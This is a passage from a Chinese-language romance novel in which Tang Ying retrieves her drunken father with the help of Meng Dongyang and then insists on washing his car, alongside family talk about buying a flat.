“彩礼彩礼,本来就是给女方的钱,有什么不厚道的。再说结婚后都是女人付出的多,这十几万还不够支付你的劳动成本呢。你别傻啊,这事就听我的,我们明天就去看房。” 唐盈听唐正光提过房子要涨价的事,自己也看了些新闻资料。理性分析下来,彭芳的决策是明智的。 她跟谷瑞安通气,说了下买房的想法。她还没说婚后房子加谷瑞安名字的事,谷瑞安就回答她:“都听你的。” 她查了下这个楼盘的拿房时间,在明年秋天。 她对谷瑞安说:“如果买下来,我们俩就有自己的小家了,真好。” 唐正光不胜酒力,却是个实心眼。酒桌上有人捧他,他便一杯一杯地喝,大约喝了四两酒,散场时不省人事,一个人倒在他的电瓶车旁。 今晚孟云钦还派了旁人来,轮不到孟冬杨喝。孟冬杨滴酒未沾,特地留心了一下唐正光的状态,看他酒醉,不适合骑车回家,决定开车送他一程。 半路上唐正光还有一搭没一搭地跟孟冬杨说着话,快到的时候,胃中作呕,下车吐了两轮后,彻底断片,索性昏睡在后座,连家里具体的门牌号都没来得及告知孟冬杨。 唐盈接到孟冬杨打来的电话时已过十点。 唐正光除了有肺结节,还有高血压,这种情况根本不适合喝酒。她不放心,打了车过去接人。 路上才想起翟莉应该在家,又担心自己贸然过去,跟翟莉在这种情况下打照面会不会彼此尴尬。 车停在小区门口。唐正光在车里鼾声如雷,车厢里满是酒气。 孟冬杨站在路边等唐盈,不知道人什么时候会到,烟盒攥在手里,始终没抽。 不久后,一辆出租车停靠过来。他抬眸看过去,唐盈穿一件深色的长款羽绒服,没系围巾,披着头发从车里下来。 跑过来时长发被风吹起,素净的小脸迎着寒风,露出着急的神情。 唐盈站定在孟冬杨面前,“不好意思啊,又麻烦你了。” 孟冬杨说不会,让唐盈上车,问她具体的门牌号。 闻见车里的酒气和唐正光身上其他浑浊的气息,唐盈眉心一蹙,“抱歉,弄脏你的车了。” “别客气。” “待会儿把我爸安置好,我帮你开去洗车。” “你会开车?” “会的。” “没关系,我自己处理就好。” “不行,这样太不好意思了。” 孟冬杨没在此事上多费口舌。车开到唐盈说的那栋楼前,先下了车,去后排扶唐正光。 唐盈快步跟过去,跟孟冬杨一起把老唐搀进电梯里。 唐正光嘟嚷一句:“这是哪里?” “你家。”唐盈没好气地说。 唐正光个子不低,唐盈一个人的力量根本不足以撑住这个170斤的躯体。得亏有孟冬杨帮忙。 出电梯时,她又对孟冬杨道了声谢。 翟莉打开门,看见醉醺醺的唐正光和搀扶他的唐盈,旁边还站着个英俊笔挺的年轻男人,表情一懵。 唐盈客客气气地跟翟莉打了个招呼,解释清楚事情原委。 翟莉和唐盈把唐正光扶进卧室后,急忙跑去泡茶,要留唐盈和孟冬杨坐会儿。 唐盈婉拒:“太晚了,阿姨,您也早些休息,我们不叨扰了。” “那这位……小伙子,怎么称呼?”翟莉问孟冬杨。 “我姓孟。” “小孟,真是多谢你跟唐盈了。” “您客气了。” 两个人正要走,唐正光在卧室里大吐一翻。 唐盈见状,想往卧室里查看情况。 翟莉拦住她:“我来就好。你快回吧,省得你妈妈担心。” 唐盈说:“我帮您收拾收拾。” 翟莉拉了下唐盈的手,“早就听你爸爸说你懂事,今天总算是见到了。咱们之间不客气。” 唐盈想着这是在人家家里,应了声,跟翟莉告了别。 回到电梯里,唐盈又想跟孟冬杨道谢。 孟冬杨截住她的话,“唐老师太见外了。” 唐盈切切实实是个认真的女孩,她真诚地看着孟冬杨的眼睛:“我开你的车去清洗,回头再开给你,好吗?” “真的不用。” “那洗车大概要多少钱?我转给你。” 孟冬杨没遇到过这么轴的姑娘,有些没了耐心,沉声说道:“如果唐臻还在,我们或许是亲戚关系。” “可她不在了。”唐盈接话过快,说完觉得不妥,“我不是那个意思。孟……孟冬杨,我爸爸这个人有点拎不清,但我心里清楚,即便是亲戚,你也只是我堂哥堂嫂的亲戚,他们本来就跟我们家隔着一层,我不能……” “唐盈,我日后跟你爸爸打交道的机会还有很多。” 孟冬杨点到为止,希望唐盈自此放下她的客套。 但唐盈并不这么想。 她还是执意帮孟冬杨洗了车。等忙活完,把孟冬杨的车开回他入住的酒店车库,已经是凌晨一点。